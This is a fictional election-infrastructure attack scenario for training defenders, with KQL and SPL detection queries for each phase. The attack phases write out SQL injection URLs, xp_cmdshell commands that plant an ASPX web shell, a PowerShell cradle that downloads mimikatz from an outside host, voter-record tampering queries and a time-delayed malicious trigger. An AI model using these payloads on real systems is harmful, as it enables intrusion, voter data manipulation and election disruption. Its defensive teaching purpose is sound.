SC-104: Election Infrastructure Attack -- Operation BALLOT BOX¶
Educational Content Only
This scenario uses 100% synthetic data for educational purposes. All IP addresses use RFC 5737 (192.0.2.x, 198.51.100.x, 203.0.113.x) or RFC 1918 (10.x, 172.16.x, 192.168.x) ranges. All domains use *.example.com. All credentials are testuser/REDACTED. No real organizations, infrastructure, or individuals are represented. Offense content is presented exclusively to improve defensive capabilities. This scenario is designed to train election security defenders and does not represent any real election system, jurisdiction, or political entity.
Scenario Overview¶
| Field | Detail |
|---|---|
| ID | SC-104 |
| Operation Name | BALLOT BOX |
| Category | Critical Infrastructure / Election Security / Multi-Vector |
| Severity | Critical |
| ATT&CK Tactics | Reconnaissance, Initial Access, Execution, Persistence, Privilege Escalation, Defense Evasion, Credential Access, Discovery, Lateral Movement, Collection, Impact |
| ATT&CK Techniques | T1595 (Active Scanning), T1190 (Exploit Public-Facing Application), T1110.004 (Brute Force: Credential Stuffing), T1059.001 (Command and Scripting: PowerShell), T1053.005 (Scheduled Task), T1078 (Valid Accounts), T1098 (Account Manipulation), T1003.001 (OS Credential Dumping: LSASS), T1505.003 (Server Software Component: Web Shell), T1565.001 (Data Manipulation: Stored Data), T1498 (Network Denial of Service), T1491.002 (Defacement: External) |
| Threat Actor | IRON CURTAIN -- A state-sponsored APT group with the strategic objective of undermining public confidence in democratic elections through data manipulation, service disruption, and information operations. Not aligned with any domestic political faction; the goal is chaos and distrust. |
| Target Environment | Columbia County Board of Elections (columbia-elections.example.com) -- a fictional county election authority managing voter registration and election-night reporting for 485,000 registered voters |
| Difficulty | ★★★★★ |
| Duration | 6-8 hours |
| Estimated Impact | Voter registration database integrity compromised (12,400 records modified); election-night reporting website defaced and DDoS'd for 4.5 hours; credential stuffing against poll worker portal; public confidence crisis requiring multi-agency response; no vote tallying systems affected (air-gapped); estimated remediation and public trust restoration cost $18M |
Narrative¶
Columbia County Board of Elections (CCBE) is the election authority for a fictional metropolitan county with 485,000 registered voters across 312 precincts. CCBE manages voter registration, poll worker training, ballot preparation, election-day operations, and results reporting. The county uses a mix of modern and legacy systems reflecting the typical resource constraints of county-level election administration.
CCBE's technology environment includes: a voter registration database (VRDB) running on Microsoft SQL Server behind an IIS web application; a public-facing voter lookup portal (voters.columbia-elections.example.com); a poll worker management portal (pollworkers.columbia-elections.example.com); an election-night results reporting website (results.columbia-elections.example.com); and air-gapped vote tallying systems at the county election center. The VRDB web application was custom-developed 8 years ago and has received only minimal security updates.
CCBE's IT team consists of 3 full-time staff and 2 contractors who are supplemented during election season by 4 temporary workers. Cybersecurity is managed by the county IT department, which provides shared firewall, email filtering, and basic endpoint protection. CISA (Cybersecurity and Infrastructure Security Agency) provided a vulnerability assessment 6 months ago, identifying several critical findings that remain partially remediated due to budget constraints.
Six weeks before a major general election, IRON CURTAIN launches a multi-phase campaign against CCBE's election infrastructure. Their objective is not to change vote counts (the tallying systems are air-gapped) but to undermine public confidence through voter registration manipulation, election-night service disruption, and information operations amplifying the chaos.
Environment¶
| Component | Detail |
|---|---|
| Organization | Columbia County Board of Elections |
| Domain | columbia-elections.example.com |
| Registered Voters | 485,000 across 312 precincts |
| IT Staff | 3 FTE + 2 contractors + 4 seasonal workers |
| VRDB Server | IIS 10.0 + ASP.NET + SQL Server 2016 at 10.10.5.20 |
| Voter Portal | voters.columbia-elections.example.com (public) |
| Poll Worker Portal | pollworkers.columbia-elections.example.com (authenticated) |
| Results Website | results.columbia-elections.example.com (CDN-hosted) |
| Internal Network | 10.10.0.0/16 |
| DMZ | 192.0.2.0/24 (web servers, proxied to internal) |
| Vote Tallying | Air-gapped network at election center (no internet) |
| Security Stack | Palo Alto PA-820 NGFW, Microsoft Defender for Endpoint, Azure Sentinel (basic tier) |
| Compliance | EAC VVSG guidelines, CISA election security recommendations |
| CISA Support | Albert sensor deployed, vulnerability assessment completed |
Attack Timeline¶
Phase 1: Reconnaissance and Vulnerability Discovery (Weeks 1-2, E-42 to E-28)¶
ATT&CK Techniques: T1595 (Active Scanning), T1592 (Gather Victim Host Information), T1589 (Gather Victim Identity Information)
IRON CURTAIN conducts extensive reconnaissance of CCBE's internet-facing infrastructure, identifying the voter registration portal, poll worker management system, and election-night results website. They also collect publicly available information about CCBE staff, technology vendors, and election procedures.
# Simulated reconnaissance (educational only)
# Attacker maps election infrastructure attack surface
# Step 1: DNS and subdomain enumeration
# Discovered subdomains:
# columbia-elections.example.com (main site)
# voters.columbia-elections.example.com (voter lookup portal)
# pollworkers.columbia-elections.example.com (poll worker portal)
# results.columbia-elections.example.com (election night results)
# mail.columbia-elections.example.com (email server)
# vpn.columbia-elections.example.com (staff VPN)
# ftp.columbia-elections.example.com (legacy FTP -- FINDING)
# Step 2: Web application fingerprinting
# voters.columbia-elections.example.com:
# Server: Microsoft-IIS/10.0
# X-Powered-By: ASP.NET
# X-AspNet-Version: 4.0.30319
# Application: Custom voter lookup (8 years old)
# Features: Voter registration lookup, polling place finder,
# sample ballot preview, voter registration form
# WAF: None detected
# Rate limiting: None detected
# pollworkers.columbia-elections.example.com:
# Server: Microsoft-IIS/10.0
# Application: Poll worker management portal
# Authentication: Username/password (no MFA)
# Self-service password reset: Email-based
# Features: Training schedules, precinct assignments, pay stubs
# results.columbia-elections.example.com:
# Hosted on CDN (cdn-provider.example.com)
# Static HTML + JavaScript
# Data source: JSON API at api.results.columbia-elections.example.com
# API hosted on same infrastructure as VRDB (10.10.5.20)
# Step 3: OSINT on election staff
# CCBE publishes staff directory on main website:
# Director: testuser1@columbia-elections.example.com
# Deputy Director: testuser2@columbia-elections.example.com
# IT Manager: testuser3@columbia-elections.example.com
# Database Admin: testuser4@columbia-elections.example.com
# Poll Worker Coordinator: testuser5@columbia-elections.example.com
# Step 4: Identify SQL injection vulnerability
# Voter lookup portal search form:
GET https://voters.columbia-elections.example.com/lookup?
lastname=Smith&dob=1990-01-01&zip=12345
# Testing for SQL injection:
GET https://voters.columbia-elections.example.com/lookup?
lastname=Smith'--&dob=1990-01-01&zip=12345
# Response: 500 Internal Server Error
# Stack trace exposed (detailed errors enabled):
# System.Data.SqlClient.SqlException:
# Unclosed quotation mark after the character string 'Smith'--'
# at VoterLookup.SearchVoters(String lastName, String dob, String zip)
# CONFIRMED: SQL injection in voter lookup portal
# The application concatenates user input directly into SQL queries
# No parameterized queries, no input validation, no WAF
Detection Opportunity -- Reconnaissance:
// KQL -- Detect SQL injection probing against election web apps
CommonSecurityLog
| where TimeGenerated > ago(14d)
| where DeviceVendor == "Palo Alto Networks"
| where RequestURL has "voters.columbia-elections.example.com"
| where RequestURL has_any ("'", "--", "UNION", "SELECT",
"1=1", "OR 1", "DROP", "xp_")
| summarize ProbeCount = count(),
UniquePayloads = dcount(RequestURL),
SourceIPs = make_set(SourceIP, 20)
by bin(TimeGenerated, 1h)
| where ProbeCount > 5
| project TimeGenerated, ProbeCount, UniquePayloads, SourceIPs
// KQL -- Detect aggressive scanning of election subdomains
DnsEvents
| where TimeGenerated > ago(14d)
| where Name endswith "columbia-elections.example.com"
| summarize SubdomainQueries = dcount(Name),
AllSubdomains = make_set(Name, 50),
SourceIPs = make_set(ClientIP)
by bin(TimeGenerated, 1h)
| where SubdomainQueries > 10
| project TimeGenerated, SubdomainQueries, AllSubdomains, SourceIPs
# SPL -- Detect SQL injection attempts against voter portal
index=web sourcetype=iis earliest=-14d
| search cs_uri_stem="*voters*" AND cs_uri_stem="*lookup*"
| search (cs_uri_query="*'*" OR cs_uri_query="*--*"
OR cs_uri_query="*UNION*" OR cs_uri_query="*SELECT*"
OR cs_uri_query="*xp_*")
| stats count as probe_count, dc(cs_uri_query) as unique_payloads,
values(c_ip) as source_ips by _time span=1h
| where probe_count > 5
| table _time, probe_count, unique_payloads, source_ips
# SPL -- Detect directory and subdomain enumeration
index=dns sourcetype=dns earliest=-14d
| search query="*columbia-elections.example.com"
| stats dc(query) as subdomain_queries, values(query) as subdomains,
values(src_ip) as source_ips by _time span=1h
| where subdomain_queries > 10
| table _time, subdomain_queries, subdomains, source_ips
Phase 2: Voter Registration Database Compromise (Weeks 3-4, E-28 to E-14)¶
ATT&CK Techniques: T1190 (Exploit Public-Facing Application), T1505.003 (Server Software Component: Web Shell), T1003.001 (OS Credential Dumping: LSASS), T1565.001 (Data Manipulation: Stored Data)
IRON CURTAIN exploits the SQL injection vulnerability to gain access to the voter registration database. They extract the full voter roll for intelligence purposes, then subtly modify 12,400 voter registration records to cause confusion at polling places on election day.
# Simulated VRDB compromise (educational only)
# Attacker exploits SQL injection to access voter registration data
# Step 1: SQL injection exploitation
# Attacker uses UNION-based SQL injection to extract data:
GET https://voters.columbia-elections.example.com/lookup?
lastname=x' UNION SELECT table_name,NULL,NULL,NULL,NULL
FROM information_schema.tables--&dob=1990-01-01&zip=12345
# Database tables discovered:
# dbo.Voters (485,000 rows)
# dbo.Precincts (312 rows)
# dbo.PollWorkers (2,400 rows)
# dbo.ElectionResults (staging table for results)
# dbo.AuditLog (application audit trail)
# dbo.Users (admin portal users)
# Step 2: Extract voter registration data
# Column enumeration:
GET https://voters.columbia-elections.example.com/lookup?
lastname=x' UNION SELECT column_name,NULL,NULL,NULL,NULL
FROM information_schema.columns WHERE table_name='Voters'--
&dob=1990-01-01&zip=12345
# Columns: VoterID, FirstName, LastName, DOB, SSN_Last4,
# Address, City, State, Zip, PrecinctID,
# PartyAffiliation, RegistrationDate, Status,
# PollingPlace, VoterHistory
# Data extraction (batched, synthetic):
# 485,000 voter records extracted over 72 hours
# Rate: ~2,800 records per hour via SQL injection
# Total: ~8 GB of voter registration data
# Step 3: Web shell installation via SQL injection
# Use xp_cmdshell to write a web shell (requires SA privileges):
GET https://voters.columbia-elections.example.com/lookup?
lastname=x'; EXEC sp_configure 'show advanced options',1;
RECONFIGURE; EXEC sp_configure 'xp_cmdshell',1;
RECONFIGURE;--&dob=1990-01-01&zip=12345
# Write ASPX web shell to IIS web root:
GET https://voters.columbia-elections.example.com/lookup?
lastname=x'; EXEC xp_cmdshell 'echo ^<%@ Page Language="C#"
%^>^<%@ Import Namespace="System.Diagnostics" %^>
^<script runat="server"^>
void Page_Load(Object s,EventArgs e){
Process p=new Process();
p.StartInfo.FileName="cmd.exe";
p.StartInfo.Arguments="/c "+Request["c"];
p.StartInfo.UseShellExecute=false;
p.StartInfo.RedirectStandardOutput=true;
p.Start();Response.Write(p.StandardOutput.ReadToEnd());}
^</script^> > C:\inetpub\wwwroot\voters\system-health.aspx';
--&dob=1990-01-01&zip=12345
# Web shell accessible at:
# https://voters.columbia-elections.example.com/system-health.aspx?c=whoami
# Output: nt authority\system (IIS runs as SYSTEM -- misconfigured)
# Step 4: Credential dumping from VRDB server
# Via web shell:
GET https://voters.columbia-elections.example.com/system-health.aspx?
c=powershell -ep bypass -c "IEX(New-Object Net.WebClient).
DownloadString('https://203.0.113.100/tools/mimikatz.ps1');
Invoke-Mimikatz"
# Captured credentials (synthetic, educational only):
# columbia-elections\testuser3 (IT Manager) -- REDACTED
# columbia-elections\testuser4 (Database Admin) -- REDACTED
# columbia-elections\svc-vrdb (VRDB service account) -- REDACTED
# sa (SQL Server SA) -- REDACTED
# Step 5: Voter registration data manipulation
# IRON CURTAIN's goal: cause maximum confusion at polling places
# Strategy: Subtle changes that are hard to detect but cause
# voters to be turned away or sent to wrong locations
# Manipulation type 1: Change polling place assignments (5,200 voters)
# Target: Voters in high-turnout precincts
UPDATE Voters SET PrecinctID = PrecinctID + 1,
PollingPlace = (SELECT PollingPlace FROM Precincts
WHERE PrecinctID = Voters.PrecinctID + 1)
WHERE VoterID IN (SELECT TOP 5200 VoterID FROM Voters
WHERE PrecinctID IN (SELECT TOP 20 PrecinctID FROM Precincts
ORDER BY RegisteredVoters DESC)
ORDER BY NEWID())
# Manipulation type 2: Change voter status to "Inactive" (4,800 voters)
# Target: Voters who voted in the last 3 elections (reliable voters)
UPDATE Voters SET Status = 'Inactive'
WHERE VoterID IN (SELECT TOP 4800 VoterID FROM Voters
WHERE Status = 'Active'
AND VoterHistory LIKE '%2024%' AND VoterHistory LIKE '%2022%'
ORDER BY NEWID())
# Manipulation type 3: Modify addresses (2,400 voters)
# Subtle changes: apartment numbers, street suffixes
UPDATE Voters SET Address = REPLACE(Address, 'Apt ', 'Unit ')
WHERE VoterID IN (SELECT TOP 2400 VoterID FROM Voters
WHERE Address LIKE '%Apt%'
ORDER BY NEWID())
# Total records modified: 12,400 (2.6% of voter roll)
# Changes designed to be plausible (not obviously malicious)
# No audit log entries (attacker disabled logging first):
UPDATE dbo.AuditLog SET IsEnabled = 0
WHERE LogType = 'DataModification'
# Attacker also plants a time-delayed trigger:
CREATE TRIGGER [dbo].[ElectionDayTrigger] ON [dbo].[Voters]
AFTER UPDATE AS
BEGIN
-- On election day, any voter status update triggers
-- additional random status changes to 100 nearby records
-- This amplifies chaos during election-day voter check-in
IF GETDATE() >= '2026-11-03'
BEGIN
UPDATE TOP (100) Voters SET Status = 'Challenged'
WHERE PrecinctID IN (SELECT PrecinctID FROM inserted)
AND VoterID NOT IN (SELECT VoterID FROM inserted)
END
END
Detection Opportunity -- VRDB Compromise:
// KQL -- Detect SQL injection exploitation (successful)
SecurityEvent
| where TimeGenerated > ago(14d)
| where Computer == "VRDB-SERVER"
| where EventID == 4688 // Process creation
| where CommandLine has_any ("xp_cmdshell", "sp_configure",
"mimikatz", "powershell -ep bypass")
| project TimeGenerated, Computer, CommandLine, Account,
ParentProcessName
// KQL -- Detect mass voter record modifications
AzureDiagnostics
| where TimeGenerated > ago(14d)
| where Category == "SQLSecurityAuditEvents"
| where statement_s has "UPDATE" and statement_s has "Voters"
| summarize UpdateCount = count(),
UniqueStatements = dcount(statement_s),
Accounts = make_set(server_principal_name_s)
by bin(TimeGenerated, 1h)
| where UpdateCount > 100
| project TimeGenerated, UpdateCount, UniqueStatements, Accounts
// KQL -- Detect web shell creation on IIS servers
DeviceFileEvents
| where Timestamp > ago(14d)
| where DeviceName has "VRDB" or DeviceName has "voters"
| where FileName endswith ".aspx" or FileName endswith ".asp"
| where FolderPath has "inetpub" or FolderPath has "wwwroot"
| where InitiatingProcessFileName in ("w3wp.exe", "cmd.exe",
"powershell.exe", "sqlservr.exe")
| project Timestamp, DeviceName, FileName, FolderPath,
InitiatingProcessFileName, InitiatingProcessCommandLine
# SPL -- Detect SQL injection leading to command execution
index=windows sourcetype=WinEventLog:Security earliest=-14d
| search host="VRDB-SERVER" EventCode=4688
| search (CommandLine="*xp_cmdshell*" OR CommandLine="*sp_configure*"
OR CommandLine="*mimikatz*" OR CommandLine="*-ep bypass*")
| table _time, host, CommandLine, Account, ParentProcessName
# SPL -- Detect bulk voter record modifications
index=mssql sourcetype=mssql:audit earliest=-14d
| search statement="*UPDATE*Voters*"
| bucket _time span=1h
| stats count as update_count, dc(statement) as unique_statements,
values(server_principal_name) as accounts by _time
| where update_count > 100
| table _time, update_count, unique_statements, accounts
# SPL -- Detect web shell file creation
index=windows sourcetype=WinEventLog:Sysmon earliest=-14d
| search EventCode=11 TargetFilename="*inetpub\\wwwroot*"
AND (TargetFilename="*.aspx" OR TargetFilename="*.asp")
| table _time, host, TargetFilename, Image, User
Phase 3: Poll Worker Portal Credential Stuffing (Weeks 4-5, E-14 to E-7)¶
ATT&CK Techniques: T1110.004 (Brute Force: Credential Stuffing), T1078 (Valid Accounts), T1098 (Account Manipulation)
IRON CURTAIN launches a credential stuffing campaign against the poll worker management portal using credentials from previous data breaches. The portal lacks MFA and has no account lockout policy, making it vulnerable to automated attacks.
# Simulated credential stuffing (educational only)
# Attacker targets poll worker portal with stolen credentials
# Step 1: Compile credential list
# IRON CURTAIN obtains email/password pairs from:
# - Previous data breach compilations
# - County employee email patterns (firstname.lastname@...)
# - LinkedIn profiles of known election staff and poll workers
# Credential list: 48,000 email/password pairs
# Step 2: Credential stuffing attack
# Target: https://pollworkers.columbia-elections.example.com/login
# Tool: Custom HTTP client with residential proxy rotation
# Rate: 5 attempts per minute per IP (below rate-limit thresholds)
# Proxy pool: 2,000 residential IPs (203.0.113.0/24 range for sim)
# Attack parameters:
POST https://pollworkers.columbia-elections.example.com/api/auth
Content-Type: application/json
{"email": "testuser@columbia-elections.example.com",
"password": "REDACTED"}
# Results over 5 days:
# Total attempts: 48,000
# Valid credentials found: 147 (0.3% success rate)
# Unique poll workers compromised: 147 of 2,400 (6.1%)
# Accounts with admin privileges: 3
# Step 3: Access poll worker portal with stolen credentials
# Poll worker portal contains:
# - Precinct assignments and addresses
# - Poll worker personal information (SSN, bank accounts for pay)
# - Training completion records
# - Election-day procedures and emergency contacts
# - Provisional ballot handling instructions
# Step 4: Modify poll worker assignments (using admin accounts)
# Attacker reassigns 45 poll workers to wrong precincts
# Result: On election day, some precincts will be short-staffed
# Changes are subtle: workers reassigned to nearby precincts
# Effect: Confusion, delays, longer lines at affected precincts
# Step 5: Download poll worker PII
# 2,400 poll worker records extracted including:
# Names, addresses, phone numbers
# SSN (last 4), bank routing/account numbers
# Political party affiliations
# This data will be used in the information operations phase
# to discredit the election and intimidate poll workers
Detection Opportunity -- Credential Stuffing:
// KQL -- Detect credential stuffing against poll worker portal
SigninLogs
| where TimeGenerated > ago(7d)
| where AppDisplayName == "Poll Worker Portal"
| where ResultType != "0" // Failed logins
| summarize FailedAttempts = count(),
UniqueAccounts = dcount(UserPrincipalName),
UniqueIPs = dcount(IPAddress),
SuccessAfterFailure = countif(ResultType == "0")
by bin(TimeGenerated, 1h)
| where FailedAttempts > 50 AND UniqueAccounts > 20
| project TimeGenerated, FailedAttempts, UniqueAccounts,
UniqueIPs, SuccessAfterFailure
// KQL -- Detect successful logins from credential stuffing
SigninLogs
| where TimeGenerated > ago(7d)
| where AppDisplayName == "Poll Worker Portal"
| where ResultType == "0"
| where IPAddress !startswith "10."
| summarize LoginCount = count(),
UniqueIPs = dcount(IPAddress),
IPs = make_set(IPAddress, 10)
by UserPrincipalName, bin(TimeGenerated, 1d)
| where UniqueIPs > 3
| project TimeGenerated, UserPrincipalName, LoginCount,
UniqueIPs, IPs
# SPL -- Detect credential stuffing patterns
index=web sourcetype=iis earliest=-7d
| search cs_uri_stem="*pollworkers*" cs_uri_stem="*auth*"
| eval login_status = if(sc_status=200, "success", "failure")
| bucket _time span=1h
| stats count(eval(login_status="failure")) as failed,
count(eval(login_status="success")) as success,
dc(cs_username) as unique_accounts,
dc(c_ip) as unique_ips by _time
| where failed > 50 AND unique_accounts > 20
| table _time, failed, success, unique_accounts, unique_ips
# SPL -- Detect successful logins from suspicious IPs
index=web sourcetype=iis earliest=-7d
| search cs_uri_stem="*pollworkers*" sc_status=200
| search NOT c_ip="10.*"
| stats count as logins, dc(c_ip) as unique_ips,
values(c_ip) as ips by cs_username, _time span=1d
| where unique_ips > 3
| table _time, cs_username, logins, unique_ips, ips
Phase 4: Election Night -- DDoS and Defacement (E-Day, November 3)¶
ATT&CK Techniques: T1498 (Network Denial of Service), T1491.002 (Defacement: External Defacement), T1565.001 (Data Manipulation: Stored Data)
On election night, IRON CURTAIN executes the most visible phase of the attack: a sustained DDoS attack against the election results reporting website combined with defacement of the voter lookup portal. The timing is designed for maximum public impact -- during peak viewership of election returns.
# Simulated election night attack (educational only)
# Attacker disrupts election results reporting
# Timeline: Election Day, November 3, 2026
# [18:00 UTC] Polls close in Columbia County
# [18:15 UTC] First results begin uploading to results website
# [18:30 UTC] Results website traffic surges (250,000 concurrent users)
# [19:00 UTC] PHASE 1: DDoS attack begins
# IRON CURTAIN activates botnet against results infrastructure:
# Target 1: results.columbia-elections.example.com (CDN-hosted)
# Target 2: api.results.columbia-elections.example.com (origin)
# Target 3: columbia-elections.example.com (main site)
# DDoS parameters:
# Botnet: 45,000 compromised IoT devices
# Attack vectors (layered):
# Layer 3/4: UDP flood at 180 Gbps against origin IP
# Layer 7: HTTP flood at 2.5M requests/sec against CDN
# DNS amplification: 85 Gbps against DNS infrastructure
# Origin IP: 192.0.2.50 (results API server)
# CDN absorbs Layer 7 attack for first 30 minutes
# BUT: Layer 3/4 attack overwhelms upstream ISP link (1 Gbps)
# ISP's DDoS mitigation activates but takes 45 minutes to converge
# Result: All CCBE internet services offline from 19:00-19:45
# [19:00-19:45 UTC] IMPACT: Results website unreachable
# 250,000 citizens cannot access election results
# Social media explodes with speculation:
# "Columbia County results website DOWN on election night"
# "Are they hiding something?"
# "Election integrity compromised?"
# Local TV stations unable to pull results feed
# National media picks up the outage story
# [19:15 UTC] PHASE 2: Results website defacement
# While DDoS overwhelms defenders, attacker uses web shell
# on VRDB server to modify results API data:
# Via web shell on VRDB server (already compromised):
GET https://voters.columbia-elections.example.com/system-health.aspx?
c=sqlcmd -S localhost -d ElectionResults -Q "
UPDATE ElectionResults
SET VotesCandidate1 = VotesCandidate1 * 1.15,
VotesCandidate2 = VotesCandidate2 * 0.85
WHERE PrecinctID IN (SELECT TOP 50 PrecinctID
FROM Precincts ORDER BY RegisteredVoters DESC)"
# Modified results for top 50 precincts:
# Candidate 1 votes inflated by 15%
# Candidate 2 votes reduced by 15%
# These are UNOFFICIAL results (display only, not vote tallies)
# But public does not understand the distinction
# [19:45 UTC] DDoS mitigation converges, services come back online
# Results website displays MODIFIED (fake) results
# For 45 minutes, the public sees falsified vote counts
# Screenshots spread across social media
# [20:00 UTC] PHASE 3: Voter portal defacement
# Attacker modifies voter lookup portal main page:
GET https://voters.columbia-elections.example.com/system-health.aspx?
c=copy C:\inetpub\wwwroot\voters\index.html
C:\inetpub\wwwroot\voters\index.html.bak &&
echo "<html><body style='background:black;color:red;
text-align:center;font-size:36px;padding-top:200px'>
YOUR VOTE DOES NOT COUNT<br>
THE SYSTEM IS COMPROMISED<br>
WE HAVE YOUR DATA</body></html>"
> C:\inetpub\wwwroot\voters\index.html
# Defacement visible to public for ~20 minutes before IT responds
# [20:15 UTC] Election night database trigger activates
# The trigger planted in Phase 2 fires when poll workers
# update voter check-in records:
# Additional 100 random voter records marked "Challenged"
# per precinct update -- creating cascading confusion
# in the voter registration system
# [20:30 UTC] CCBE IT team discovers defacement and data manipulation
# Incident response begins under extreme pressure
Detection Opportunity -- Election Night Attacks:
// KQL -- Detect DDoS attack against election infrastructure
AzureNetworkAnalytics_CL
| where TimeGenerated > ago(24h)
| where FlowType_s == "InboundFlow"
| where DestIP_s in ("192.0.2.50", "192.0.2.51")
| summarize TotalFlows = count(),
TotalBytes = sum(BytesSentToDestination_d),
UniqueSourceIPs = dcount(SrcIP_s)
by bin(TimeGenerated, 5m)
| where TotalFlows > 100000 or TotalBytes > 1000000000
| project TimeGenerated, TotalFlows, TotalBytes, UniqueSourceIPs
// KQL -- Detect election results data manipulation
SecurityEvent
| where TimeGenerated > ago(24h)
| where Computer == "VRDB-SERVER"
| where EventID == 4688
| where CommandLine has "ElectionResults" and CommandLine has "UPDATE"
| project TimeGenerated, Account, CommandLine, ParentProcessName
// KQL -- Detect web defacement (file modification in web root)
DeviceFileEvents
| where Timestamp > ago(24h)
| where FolderPath has "inetpub\\wwwroot"
| where ActionType == "FileModified" or ActionType == "FileCreated"
| where FileName endswith ".html" or FileName endswith ".aspx"
| project Timestamp, DeviceName, FileName, FolderPath,
InitiatingProcessFileName, InitiatingProcessCommandLine
# SPL -- Detect DDoS traffic surge against election servers
index=firewall sourcetype=pan:traffic earliest=-24h
| search dest_ip IN ("192.0.2.50", "192.0.2.51")
| bucket _time span=5m
| stats count as total_flows, sum(bytes_in) as total_bytes,
dc(src_ip) as unique_sources by _time
| where total_flows > 100000 OR total_bytes > 1000000000
| table _time, total_flows, total_bytes, unique_sources
# SPL -- Detect results database modification
index=mssql sourcetype=mssql:audit earliest=-24h
| search database_name="ElectionResults" AND statement="*UPDATE*"
| table _time, server_principal_name, client_ip, statement
# SPL -- Detect web root file modifications
index=windows sourcetype=WinEventLog:Sysmon earliest=-24h
| search EventCode=11 TargetFilename="*inetpub\\wwwroot*"
| search (TargetFilename="*.html" OR TargetFilename="*.aspx")
| table _time, host, TargetFilename, Image, User
Phase 5: Incident Response Under Extreme Pressure (E-Day + Hours)¶
ATT&CK Technique: Multiple -- Response Phase
CCBE's incident response unfolds under extraordinary constraints: election night with active media coverage, public panic on social media, limited IT staff, and the need to restore accurate results reporting while preserving forensic evidence.
# Simulated incident response (educational only)
# Response under extreme time pressure and public scrutiny
# [20:30 UTC] Discovery and initial response
[20:30] CCBE IT Manager (testuser3) discovers voter portal defacement
[20:32] IT Manager attempts to restore index.html from backup
BUT: Web shell provides attacker persistent access
Attacker re-defaces the page within 5 minutes
[20:35] IT Manager contacts county IT security (after-hours)
[20:40] County CISO arrives (remote), declares incident
[20:42] CISA Albert sensor operators notified
[20:45] IT Manager takes voter portal offline entirely
(IIS stopped on 192.0.2.50)
# [20:45-21:00 UTC] Triage under fire
# Challenges:
# 1. Results website showing FALSIFIED numbers
# - Public watching falsified results for 45 minutes
# - Screenshots already on social media
# - Media calling CCBE for comment
# 2. IT staff: 1 IT manager + 1 contractor (election night)
# 3. Election Director on phone with Secretary of State
# 4. County attorney demanding updates every 10 minutes
# 5. No incident response plan specific to election night
# [21:00 UTC] Critical decisions under pressure
# DECISION 1: Take results website offline?
# PRO: Stop displaying falsified results
# CON: Fuel conspiracy theories about "hiding results"
# DECISION: Take offline, post statement on county social media
# DECISION 2: Are actual vote tallies affected?
# CRITICAL ASSESSMENT: Vote tallying system is AIR-GAPPED
# The election results website pulls from a DISPLAY database
# NOT from the actual tallying system
# Actual vote counts on air-gapped system are UNAFFECTED
# But the public does not understand this distinction
# [21:15 UTC] Multi-agency response activated
[21:15] CISA Regional Coordinator contacted (election night hotline)
[21:20] FBI Cyber Division notified (election infrastructure attack)
[21:30] State election security task force activated
[21:45] CISA deploys remote incident response team
[22:00] FBI Cyber Special Agent arrives on-site
[22:00] County issues press statement:
"Columbia County election results website experienced a
cybersecurity incident. ACTUAL VOTE TALLIES ARE UNAFFECTED.
The vote counting system operates on a separate, air-gapped
network. We are working with federal partners to restore
accurate results reporting. Official results will be
posted on the Secretary of State's website."
# [22:00-00:00 UTC] Containment and restoration
[22:00] CISA team connects remotely to CCBE network
[22:15] Web shell discovered (system-health.aspx)
[22:15] All IIS services on VRDB server stopped
[22:30] Forensic image of VRDB server initiated
[22:45] SQL injection entry point identified in voter lookup
[23:00] Modified election results identified and quantified
CISA compares display database to air-gapped tallies
Discrepancies confirmed in top 50 precincts
[23:15] Clean results loaded from air-gapped tallying system
[23:30] Results website restored with VERIFIED data
[23:30] Banner added: "Results verified as of 23:30 UTC"
[23:45] Voter registration modifications discovered (12,400 records)
[00:00] Database trigger discovered and removed
# [Day E+1 through E+7] Extended response
[E+1] Press conference with Election Director, CISA, and FBI
Key message: "No votes were changed. The display website
was temporarily compromised, but the actual vote counting
system was never connected to the internet."
[E+1] Credential stuffing against poll worker portal confirmed
[E+2] VRDB restored from pre-compromise backup (October 20 copy)
12,400 voter records restored to correct values
Affected voters contacted individually
[E+3] Full forensic timeline established by CISA
[E+5] Voter registration database trigger removed
[E+7] After-action report initiated
Impact Assessment¶
| Category | Impact |
|---|---|
| Voter Records Modified | 12,400 (2.6% of registered voters) |
| Falsified Results Displayed | 45 minutes of incorrect election returns |
| Results Website Downtime | 4.5 hours total (DDoS + containment) |
| Poll Workers Compromised | 147 credential sets (3 with admin access) |
| Poll Worker PII Exposed | 2,400 records including partial SSNs and bank data |
| Vote Tallies Affected | NONE (air-gapped tallying system) |
| DDoS Peak | 180 Gbps volumetric + 2.5M req/sec application layer |
| Public Trust Impact | Severe -- social media amplification of false narratives |
| Agencies Involved | CISA, FBI, State election security task force |
| Estimated Cost | $18M (remediation, legal, public outreach, technology upgrades) |
| Election Validity | Election results certified after forensic verification |
Detection & Response¶
How Blue Team Should Have Caught This¶
Detection Strategy 1: Web Application Firewall (WAF)
The voter lookup portal had no WAF protection, allowing trivial SQL injection exploitation. A WAF with SQL injection detection rules would have blocked the initial attack vector. CISA provides free WAF recommendations and deployment assistance to election authorities through their Election Infrastructure Security program.
Detection Strategy 2: Database Activity Monitoring
Mass modification of 12,400 voter records generated no alerts because audit logging was disabled by the attacker. Database activity monitoring (DAM) tools with immutable audit logs stored off-server would have detected both the audit log disablement and the mass UPDATE queries.
Detection Strategy 3: Multi-Factor Authentication on All Portals
The poll worker portal relied on username/password authentication without MFA, enabling credential stuffing. MFA on all election-related portals, combined with account lockout policies and CAPTCHA, would have prevented the 147 credential compromises.
Detection Strategy 4: DDoS Protection for Election Night
Election-night DDoS protection requires advance preparation: CDN with DDoS mitigation, upstream ISP scrubbing agreements, and pre-staged static fallback pages. CISA offers free Cloudflare Athenian Project protection to election entities.
Detection Strategy 5: Pre-Election Integrity Verification
A cryptographic hash of the voter registration database taken before the election and compared on election day would have detected the 12,400 modified records before polls opened. Regular integrity checks with tamper-evident logging provide defense against data manipulation.
Lessons Learned¶
Key Takeaways
-
Election infrastructure faces unique time-pressure constraints -- Unlike corporate incidents where containment can take days, election night incidents must be resolved in hours. Incident response plans must include election-specific playbooks with pre-authorized actions, pre-staged communications, and designated decision-makers available on election night.
-
Voter registration systems require the same protection as financial systems -- The custom-built, 8-year-old VRDB application had trivial SQL injection vulnerabilities. Election applications must undergo regular penetration testing, use parameterized queries, deploy WAFs, and receive security updates on a defined schedule.
-
Air-gapped vote tallying is a critical architectural control -- The air-gap between the vote tallying system and the internet-connected results display infrastructure prevented actual vote manipulation. This architectural separation must be maintained and clearly communicated to the public during incidents.
-
Information operations amplify technical attacks -- The technical attack (4.5 hours of downtime) caused less damage than the information operation: 45 minutes of falsified results on social media created lasting doubt. Defenders must plan for the information warfare dimension, including pre-drafted communications and rapid public messaging capabilities.
-
